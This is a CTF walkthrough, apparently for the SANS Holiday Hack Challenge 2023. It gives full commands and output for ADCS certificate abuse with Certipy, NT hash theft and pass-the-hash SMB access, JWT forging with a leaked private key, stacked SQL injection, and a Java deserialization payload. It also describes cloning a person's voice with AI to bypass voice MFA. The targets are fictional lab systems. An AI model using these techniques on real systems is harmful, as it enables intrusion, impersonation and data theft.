"value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
"id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
"attributes": {
"enabled": true,
"created": 1699564823,
"updated": 1699564823,
"recoveryLevel": "Recoverable+Purgeable",
"recoverableDays": 90
},
"tags": {}
}
Tidify the script:
Import-Module ActiveDirectory; $UserName = \"elfy\";
$UserDomain = \"northpole.local\";
$UserUPN = \"$UserName@$UserDomain\";
$Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force;
$DCIP = \"10.0.0.53\";
New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru
We have what we need to progress:
- username
- password
- domain
- dc-ip
Hmmm, didnt Alabaster have a bunch of impacket tools…. Lets do play on the domain (specifically the DC)….
Hey certipy is in impacket, and it was the most serious issue on the pentest report in reportinator, lets play with it…
$ ./certipy find -vulnerable -u elfy -p J4\`ufC49/J4766 -target 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231208121336_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231208121336_Certipy.txt'
[*] Saved JSON output to '20231208121336_Certipy.json'
Ok, so it found a vulnerable users group:
- NorthpoleUsers
Initially, we think about forging UPNs and privilege escalating to admin (makes our lives easier)
$ ./certipy req -username 'elfy@northpole.local' -password 'J4`ufC49/J4766' -ca northpole-npdc01-CA -dc-ip 10.0.0.53 -template NorthPoleUsers -upn 'administrator@northpole.local'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 25
[*] Got certificate with UPN 'administrator@northpole.corp'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
Sadly, this doesn’t work? Maybe administrator is not the way…
Lets find alabaster’s account, bingo, that works but wrong permissions. What were the objectives again? a file on Wombley Cubes share. Lets find him:
$ GetADUsers.py -dc-ip 10.0.0.53 northpole.local/elfy:"J4\`ufC49/J4766" -all
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Querying 10.0.0.53 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
alabaster 2023-12-14 01:32:23.273691 2023-12-14 11:45:07.453905
Guest <never> <never>
krbtgt 2023-12-14 01:40:20.814181 <never>
elfy 2023-12-14 01:42:36.995282 2023-12-14 12:27:12.683893
wombleycube 2023-12-14 01:42:37.135907 2023-12-14 13:26:34.381346
$ ./certipy account -u 'elfy@northpole.local' -p 'J4`ufC49/J4766' -dc-ip 10.0.0.53 -user wombleycube read
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Reading attributes for 'wombleycube':
cn : wombleycube
distinguishedName : CN=wombleycube,CN=Users,DC=northpole,DC=local
name : wombleycube
objectSid : S-1-5-21-1571514939-4082307998-924462285-1105
sAMAccountName : wombleycube
Ok, we found Wombley’s account now lets acquire his certificate:
alabaster@ssh-server-vm:~/impacket$ ./certipy req -username 'elfy@northpole.local' -password 'J4`ufC49/J4766' -ca northpole-npdc01-CA -dc-ip 10.0.0.53 -template NorthPoleUsers -upn 'wombleycube@northpole.local'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 30
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'
And now steal his NT hash:
alabaster@ssh-server-vm:~/impacket$ ./certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
Now we can use smbclient against the domain:
alabaster@ssh-server-vm:~/impacket$ ./smbclient.py -hashes :5740373231597863662f6d50484d3e23 -dc-ip 10.0.0.53 wombleycube@10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
# mount FileShare
[-] cannot access local variable 'pathName' where it is not associated with a value
# cd \\FileShare
[-] No share selected
# use FileShare
# ls
drw-rw-rw- 0 Fri Dec 8 02:59:44 2023 .
drw-rw-rw- 0 Fri Dec 8 02:59:40 2023 ..
-rw-rw-rw- 701028 Fri Dec 8 02:59:44 2023 Cookies.pdf
-rw-rw-rw- 1521650 Fri Dec 8 02:59:44 2023 Cookies_Recipe.pdf
-rw-rw-rw- 54096 Fri Dec 8 02:59:44 2023 SignatureCookies.pdf
drw-rw-rw- 0 Fri Dec 8 02:59:44 2023 super_secret_research
-rw-rw-rw- 165 Fri Dec 8 02:59:44 2023 todo.txt
# cat todo.txt
1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit
Objective 19 complete
InstructionsForEnteringSatelliteGroundStation.txt
Now we can read the textfile, this is probably part of the next challenge….
$ cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:
To enter the Satellite Ground Station (SGS), say the following into the speaker:
And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.
Steampunk Island
Coggoggle Marina
Characters
- Ribb Boneford
- first deal with alabaster
- go back to alabaster hack the AD
- Jason
- im not a dead fish
Rusty Quay
Characters
- Angel Candysalt
Other
- location of gameboy cartridge vol 3
Brass Bouy Port
Characters
- Goose of steam punk
- Bow ninecandle
- Chimney scissorsticks
Faster Lock Combination
Presenting a challenge specifically crafted to expose users to the vulnerabilities inherent in certain spin-lock implementations. This exercise is designed to highlight and demonstrate the weaknesses associated with these particular types of spin locks.
Refences
Howto
- Using samy’s guide and calculator…
- Lock became stuck on 0 , 5
- Resistance observed at 26
- using samy’s calculator: 31,5,35
Alternative method
It’s all a simulation after all….
Replicating complex mechanism in video games, is tough, you lose the feel and dexterity of life, so have to rely on visual cues.
- Find resistance add 5 to its value for the first digit
- Turn anti clockwise to get past 0, put tension on lock, and continue the movement noting the sticking points
- repeat this step, you should end up with a sequence
- 3,7,11,15,19 … (our lock)
- 2,6,10,14,18 …
- Note the sequence
Now with this info:
- Turn right 3x til you hit this number
- Turn left twice on each sequence 3,7,11,15,19
- if the lock reset turns red; you made a mistake start again
- if the lock reset stays green - keep going, its looking good
- Turn right 1x, hit every number and pull shackle until the lock pops 25,3,17
Once opened! Objective 8 complete
The Captain’s Comms
Hints
- Find journal pixel island
- /jwtDefault/rMonitor.tok?
- Moved privatekey to a folder no one will find?
- capsPubKey.key ‘publickey’ in keys folder same dir as ‘roleMonitor’ (rMonitor)
- rMonitor/capsPubKey.key
Extract from winning Elfhunt:
I hear the Captain likes to abbreviate words in his filenames; shortening some words to just 1,2,3, or 4 letters. ROLE: GeeseIslandsSuperChiefCommunicationsOfficer
There is not much we can initially do, read some books, scraps of paper on the desk. The hints tell us theres an initial Monitor role so we will target and obtain that role first…
We start looking for the default directory and file
- /jwtDefault/rMonitor.tok
However, this is proving difficult did we make a misake?
Turns out we need an initial dummy role from accessing /checkRole this can be achieved by clicking on the SDR machine. We recommend using an intercepting proxy so you can capture and replay the request.
Manipulating the captured request proves successful and we can find the JWT token for the Monitor role:
GET /jwtDefault/rMonitor.tok HTTP/2
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg
Obtain the public key:
GET /jwtDefault/keys/capsPubKey.key
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsJZuLJVB4EftUOQN1Auw
VzJyr1Ma4xFo6EsEzrkprnQcdgwz2iMM76IEiH8FlgKZG1U0RU4N3suI24NJsb5w
J327IYXAuOLBLzIN65nQhJ9wBPR7Wd4Eoo2wJP2m2HKwkW5Yadj6T2YgwZLmod3q
n6JlhN03DOk1biNuLDyWao+MPmg2RcxDR2PRnfBartzw0HPB1yC2Sp33eDGkpIXa
cx/lGVHFVxE1ptXP+asOAzK1wEezyDjyUxZcMMmV0VibzeXbxsXYvV3knScr2WYO
qZ5ssa4Rah9sWnm0CKG638/lVD9kwbvcO2lMlUeTp7vwOTXEGyadpB0WsuIKuPH6
uQIDAQAB
-----END PUBLIC KEY-----
Now we can access the SDR, but we cant decode any signals. Refering to the manuals we need another role…
So next we need to obtain the radioDecoder role or rDecoder.tok
GET /jwtDefault/rDecoder.tok
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg
We alter you replace header in burp and substitute our previous Authorization bearer token for this new role.
Now we can decode the SDR signals like so:
Get the Private Key
GET /jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwlm4slUHgR+1Q
5A3UC7BXMnKvUxrjEWjoSwTOuSmudBx2DDPaIwzvogSIfwWWApkbVTRFTg3ey4jb
g0mxvnAnfbshhcC44sEvMg3rmdCEn3AE9HtZ3gSijbAk/abYcrCRblhp2PpPZiDB
kuah3eqfomWE3TcM6TVuI24sPJZqj4w+aDZFzENHY9Gd8Fqu3PDQc8HXILZKnfd4
MaSkhdpzH+UZUcVXETWm1c/5qw4DMrXAR7PIOPJTFlwwyZXRWJvN5dvGxdi9XeSd
JyvZZg6pnmyxrhFqH2xaebQIobrfz+VUP2TBu9w7aUyVR5Onu/A5NcQbJp2kHRay
4gq48fq5AgMBAAECggEATlcmYJQE6i2uvFS4R8q5vC1u0JYzVupJ2sgxRU7DDZiI
adyHAm7LVeJQVYfYoBDeANC/hEGZCK7OM+heQMMGOZbfdoNCmSNL5ha0M0IFTlj3
VtNph9hlwQHP09FN/DeBWruT8L1oauIZhRcZR1VOuexPUm7bddheMlL4lRp59qKj
9k1hUQ3R3qAYST2EnqpEk1NV3TirnhIcAod53aAzcAqg/VruoPhdwmSv/xrfDS9R
DCxOzplHbVQ7sxZSt6URO/El6BrkvVvJEqECMUdON4agNEK5IYAFuIbETFNSu1TP
/dMvnR1fpM0lPOXeUKPNFveGKCc7B4IF2aDQ/CvD+wKBgQDpJjHSbtABNaJqVJ3N
/pMROk+UkTbSW69CgiH03TNJ9RflVMphwNfFJqwcWUwIEsBpe+Wa3xE0ZatecEM9
4PevvXGujmfskst/PuCuDwHnQ5OkRwaGIkujmBaNFmpkF+51v6LNdnt8UPGrkovD
onQIEjmvS1b53eUhDI91eysPKwKBgQDB5RVaS7huAJGJOgMpKzu54N6uljSwoisz
YJRY+5V0h65PucmZHPHe4/+cSUuuhMWOPinr+tbZtwYaiX04CNK1s8u4qqcX2ZRD
YuEv+WNDv2e1XjoWCTxfP71EorywkEyCnZq5kax3cPOqBs4UvSmsR9JiYKdeXfaC
VGiUyJgLqwKBgQDL+VZtO/VOmZXWYOEOb0JLODCXUdQchYn3LdJ3X26XrY2SXXQR
wZ0EJqk8xAL4rS8ZGgPuUmnC5Y/ft2eco00OuzbR+FSDbIoMcP4wSYDoyv5IIrta
bnauUUipdorttuIwsc/E4Xt3b3l/GV6dcWsCBK/i5I7bW34yQ8LejTtGsQKBgAmx
NdwJpPJ6vMurRrUsIBQulXMMtx2NPbOXxFKeYN4uWhxKITWyKLUHmKNrVokmwelW
Wiodo9fGOlvhO40tg7rpfemBPlEG405rBu6q/LdKPhjm2Oh5Fbd9LCzeJah9zhVJ
Y46bJY/i6Ys6Q9rticO+41lfk344HDZvmbq2PEN5AoGBANrYUVhKdTY0OmxLOrBb
kk8qpMhJycpmLFwymvFf0j3dWzwo8cY/+2zCFEtv6t1r7b8bjz/NYrwS0GvEc6Bj
xVa9JIGLTKZt+VRYMP1V+uJEmgSnwUFKrXPrAsyRaMcq0HAvQOMICX4ZvGyzWhut
UdQXV73mNwnYl0RQmBnDOl+i
-----END PRIVATE KEY-----
Now we can forge a JWT ticket, again use burp to replace our Authorization token, and take control of the radio…
Our initial role, with the public and private keys (testing the verification):
Modifying the role, to the Captains role:
Using the information already obtained, now we can focus on the end-goal…
Frequency: 10426
Go-date: 1224 (from Numbers)
Go-time: 1600 (from Numbers) - 4 hrs timezone (from intro text) = 1200
Bingo! Objective 18 complete
Space Island
Cape cosmic
Characters
- Goose of Space Island
Nothing much to do here, as there is massive fence guarding the perimeter!
Spaceport point
Characters
- Goose of Space Island
- Jewel Loggins
Mfa something - Wombley says a specific phrase into the Access Speaker. He works in the Research Department and everything they do it super secret, so it may be a challenge to find out what the phrase is. Ribb also works in that department. Try to find and ask him.
Space Island Access Speaker
First use: we notice we need a wav file
Alabasters note from the AD Challenge:
To enter the Satellite Ground Station (SGS), say the following into the speaker:
And he whispered, ‘Now I shall be out of sight; So through the valley and over the height.’ And he’ll silently take his way.
OK, so we already have a sample of wombleys voice from Noir Island. Can we use AI to generate this sentence and bypass the MFA?
YES WE CAN!!!! Using one of several AI’s to replicate and synthesis Wombley’s voice-phrase…
Original walkthrough
Quick Google for “AI online replicate voice and phrase” and Elevenlabs is at the top of the results
- Elevenlabs.io
- Current offer 80% off so $1 - REMEMBER !! CANCEL SUBSCRIPTION ONCE YOU ARE DONE!!
- !!WARNING!! Use credit cards responsibly, if you dont have one, ask permission from a parent!
App Configuration
Configure the App as so….
Task: Speech to Speech
Upload Wombleys’ mp3
Insert Text:
And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.
Click Download MP3
Convert the mp3 to wav
Next convert to wav file:
Option 1 - free cloud service
Option 2 - ffmpeg
ffmpeg -i ElevenLabs_2023-12.mp3 -acodec pcm_u8 -ar 22050 ElevenLabs_2023-12.wav
Free version Walkthrough
Visit play.ht
- Sign up and in, or use your Google account!
- Goto Voice cloning, and upload Wombleys’ MP3.
- Enter the Phrase
- Change voice to Wombleys’ character
Conveniently its output is already a wav file!
Access Speaker - play wav file
Return to the door, choose the wav file, and Enter!!!!!
Objective 20 Complete
Zenith SGS
Characters
- Wombley Cube
Camera Access
In his hubris, Wombley revealed that he thinks you won’t be able to access the satellite’s “Supervisor Directory”. There must be a good reason he mentioned that specifically, and a way to access it. He also said there’s someone else masterminding the whole plot. There must be a way to discover who that is using the nanosat.
- download docker container from NanoSat-o-matic
- use gatexor for wireguard config
- use wireguard on host
- Decide whether to run container in Docker/Podman
Docker
cd client_container
podman build -t .
docker run -it -p 5900:5900 -p 6901:6901 --rm nmf_client
Podman
podman machine start
cd client_container
podman build -t nmf_client -f Dockerfile
podman run -d -p 6901:6901 -p 5900:5900 --cap-add="NET_ADMIN" --cap-add="NET_RAW" nmf_client
Either Docker/Podman shoudl start the container with the following EXPOSEd services
- VNC on 5900/TCP
- NoVNC (http) on 6901/TCP
If your met with a blank screen, check the ports on the container, as already running services can jump the port numbers by +1 e.g. VNC on 5901 and NoVNC on 6902
NMF_Client
Use directory url
- maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory
Connect to nanosat-mo-supervisor
start the Camera application
Enable Camera (& Missile) in Apps Launcher Service
Go back to Communication Settings, to access the Camera application (you might have to re-fetch the directory services)
Once in the camera application, go to Parameter Services to enable the camera functions:
Goto Action Service, highlight the Base64snap image row, then click
- submitAction
- submit This should take a picture
Next, back to Parameter Services, highlight the Base64Encided JPG row, and click:
- getValue This should retrieve the image
Hmmm, cant extract base64…
We know satellite communications are unencrypted.
Solution - use wireshark
- Use a tcp-follow filter (from right clicking) or using a search-filter
tcp.stream == 2
- Manually extract the base64 image string using your cursor
- Base64 decode the image string to an actual image
echo "/9j... very long string"|base64 -d -i - > file.jpg
#or if you stored the string in a file called image.b64
cat image.b64|base64 -d -i- > file.jpg
- Finally view the image, on your platforms native image viewer!
Missile Diversion
This time we target the missile-targeting-system, our objective is to change the targeting system to point from Earth to the Sun!
Connect to nanosat-mo-supervisor
start the missile-target application
Enable the following in Parameter Service - Definitions
- PointingMode
- X
- Y
- Debug
Nothing really works, but debug spits out os-version string. Lets look at the code
Review the source (luke…)
Download and run Java decompiler (jd-gui)
Review code for MissileTargetingSystemMCAdapter via jar-file /opt/nmf/lib/missile-targeting-system-2.1.0-SNAPSHOT.jar
java -jar jd-gui-1.6.6.jar
sqlDebug() function looks really interesting….
Attack the vulnerability
We use this site as a reference for MySQL one-liners:
union all SELECT table_name from information_schema.tables where table_schema = 'missile_targeting_system';
Urght union selects are not great for UPDATE or INSERT!
We re-read code - realise stack queries permitted, makes things easier
Connection connection = DriverManager.getConnection("jdbc:mariadb://localhost:3306/missile_targeting_system?allowMultiQueries=true", "targeter", "cu3xmzp9tzpi00bdqvxq");
- allowMultiQueries=true” We have stackable queries this make life easier:
;SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Results in simple form:
satellite_query ( jid, object,results)
messaging (id, msg_type, msg_data)
pointing_mode_to_str (id, numerical_mode,str_mode, str_desc)
pointing_mode (id, numerical_mode
target_coordinates (id,lat,lng)
show user permissions:
grantee: targeter@%
privilege_type: usage
is_grantable: no
show grants:
- so we can manipulate the satellite_query table!!!!
Next we check pointing mode:
;select numerical_mode from pointing_mode; insert into pointing_mode(numerical_mode) values (1);select numerical_mode from pointing_mode;
- 0 - pointing at Earth
Hmmm, how to change the pointing mode when we dont have permissions on the pointing_mode table?
We have more privileges on satellite_query, so lets investigate more….
;select * on satellite_query
Looks like we have some source code in the results column of the first record in the table, we save it for potential later use:
import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
this.pathOrStatement = pathOrStatement;
this.isQuery = isQuery;
this.isUpdate = isUpdate;
}
public String getResults(Connection connection) {
if (isQuery && connection != null) {
if (!isUpdate) {
try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
ResultSet rs = selectStmt.executeQuery()) {
List<HashMap<String, String>> rows = new ArrayList<>();
while(rs.next()) {
HashMap<String, String> row = new HashMap<>();
for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
String key = rs.getMetaData().getColumnName(i);
String value = rs.getString(i);
row.put(key, value);
}
rows.add(row);
}
Gson gson = new Gson();
String json = gson.toJson(rows);
return json;
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
} else {
try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
pstmt.executeUpdate();
return "SQL Update completed.";
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
}
} else {
Path path = Paths.get(pathOrStatement);
try {
if (Files.notExists(path)) {
return "Path does not exist.";
} else if (Files.isDirectory(path)) {
// Use try-with-resources to ensure the stream is closed after use
try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
return walk.skip(1) // skip the directory itself
.map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
.collect(Collectors.joining("\n"));
}
} else {
// Assume it's a readable file
return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
}
} catch (IOException e) {
return "Error reading path: " + e.toString();
}
}
}
public String getpathOrStatement() {
return pathOrStatement;
}
}
We try writing various strings and objects into the table satellite_query. From out tests we can determine that the contents of object are deserialized and executed. Attempts to insert our own code result in a “class not found error!”.
So lets try to compile the leaked source, and see if we can manipulate it to obtain our end goal.
javac SatelliteQueryFileFolderUtility.java
- Error missing gson
Quick search and we can download Google Gson from MVN
- wget https://repo1.maven.org/maven2/com/google/code/gson/gson/2.8.6/gson-2.8.6.jar
Now to recompile, we set a CLASSPATH, so the compiler knows where to import gson:
CLASSPATH=./gson-2.8.6.jar javac SatelliteQueryFileFolderUtility.java
Compilation successful!
Now to Serialize?, I don’t like java or serialization, so I’ll ask chatGPT for help…
We uploaded the source java to chatGPT and asked it to generate code that would serliase the SatelliteQueryFileFolderUtility function.
We then manually made changes to the code to suit our needs, below is our PoC:
import java.io.*;
import java.nio.file.*;
import java.util.Base64;
public class SerializeExample {
public static void main(String[] args) {
// Create an instance with pathOrStatement set to "/"
SatelliteQueryFileFolderUtility utility = new SatelliteQueryFileFolderUtility("update pointing_mode set numerical_mode=1", true, true);
// Serialize the object
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serializedUtility.ser"))) {
oos.writeObject(utility);
System.out.println("Object serialized successfully.");
// Print the serialized bytes in hexadecimal format
byte[] serializedBytes = Files.readAllBytes(Paths.get("serializedUtility.ser"));
String hexRepresentation = bytesToHex(serializedBytes);
System.out.println("Serialized Hex: " + hexRepresentation);
} catch (IOException e) {
e.printStackTrace();
}
}
private static String bytesToHex(byte[] bytes) {
// Using Base64 encoding as an alternative to convert bytes to a string
return Base64.getEncoder().encodeToString(bytes);
}
}
Lets compile and test the code
❯ javac SerializeExample.java
❯ java SerializeExample
Object serialized successfully.
Serialized Hex: rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAApdXBkYXRlIHBvaW50aW5nX21vZGUgc2V0IG51bWVyaWNhbF9tb2RlPTE=
It runs !!!!!
we use Cyberchef to convert the base64 to hex, and use an INSERT and UNHEX functions to insert our payload into the database:
;insert into satellite_query(object) values(unhex('aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b7870010174002975706461746520706f696e74696e675f6d6f646520736574206e756d65726963616c5f6d6f64653d31'))
Alternatively, later I found out you could have used the from_base64 function:
;insert into satellite_query(object) values(from_base64('rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAApdXBkYXRlIHBvaW50aW5nX21vZGUgc2V0IG51bWVyaWNhbF9tb2RlPTE='))
Win!!!! Success, the missile targets the Sun!
Objective 1
Holiday Orientation
Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands
Objective 2
Snowball fight
Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!
Objective 3
Linux 101
Visit Ginger Breddie in Santa’s Shack on Christmas Island to help him with some basic Linux tasks. It’s in the southwest corner of Frosty’s Beach.
Objective 4
Reportinator
Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.
Objective 5
Azure 101
Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.
Objective 6
Luggage Lock
Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials
Objective 7
Linux Priv Esc
Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.
Objective 8
Faster Lock Combination
Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!
Objective 9
Game Cartridges: Vol 1
Simply play the game, beat it scan the QR Code
The dog hints and some blocks will respond to your whistle and will sing.
- These blocks need to be pushed to their indicated positions.
- 7x blocks need to me moved
Above, is a picture demonstrating the whistle and block interactions.
Above is the completed QR-code after solving the puzzle.
Website: 8bitelf.com
flag:santaconfusedgivingplanetsqrcode
Objective 10
Game Cartridges: Vol 2
Hints
- This feels the same, but different!
- If it feels like you are going crazy, you probably are! Or maybe, just maybe, you’ve not yet figured out where the hidden ROM is hiding.
- I think I may need to get a DIFFerent perspective.
- I wonder if someone can give me a few pointers to swap.
Solving the challenge
When we load the cartridge and emulator by clicking on the cartridge, we observe it loading game0.gb, refreshing and suddenly its loading game1.gb – These must be the two versions.
- https://gamegosling.com/vol2-akHB27gg6pN0/rom/game0.gb
- https://gamegosling.com/vol2-akHB27gg6pN0/rom/game1.gb
vbindiff game0.gb game1.gb
note differences, make manual patches via hex editor
- only patch 1-4 bytes at a time (bytes must be adjacent)
We end up with these patched game0 files:
- game0_14f.gb
- game0_16a80.gb
- game0_16ab0.gb
- game0_17c80.gb
- game0_0590.gb
- game0_18500.gb
- game0_18510.gb
The winning hacked game…
- game0_17c80.gb
Pass the wizard, jump through portal listen to the radio
--. .-.. ----- .-. -.-- --.
Sounds like morse code, a quick double check…
--. .-.. ----- .-. -.-- --.
GL0RY
Objective 11
Game Cartridges: Vol 3
Find the third Gamegosling cartridge and beat the game.
- Loaded game in emulator in Windows VM
- Loaded Cheat Engine - required disabling AV
- See settings, and address in the image below!
- Hacked the emulators memory to patch the bytes of memory representing coins!
- Played the game to the end!
Objective 12
Na’an
Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!
Objective 13
KQL Kraken Hunt
Use Azure Data Explorer to uncover misdeeds in Santa’s IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.
Objective 14
Phish Detection Agency
Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!
Objective 15
Hashcat
Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!
IluvC4ndyC4nes!
Objective 16
Elfhunt
Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.
Objective 17
Certificate SSHenanigans
Go to Pixel Island and review Alabaster Snowball’s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?
gingerbread
Objective 18
The Captains Comms
Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. You’ll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.
Objective 19
Active Directory
Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What’s the name of the secret file in the inaccessible folder on the FileShare?
InstructionsForEnteringSatelliteGroundStation.txt
Objective 20
Space Island Door Access Speaker
There’s a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.
Objective 21
Camera Access
Gain access to Jack’s camera. What’s the third item on Jack’s TODO list?
Conquer holiday season!
Objective 22
Missile Diversion
Thwart Jack’s evil plan by re-aiming his missile at the Sun.
Objective 23
BONUS! Fishing Guide
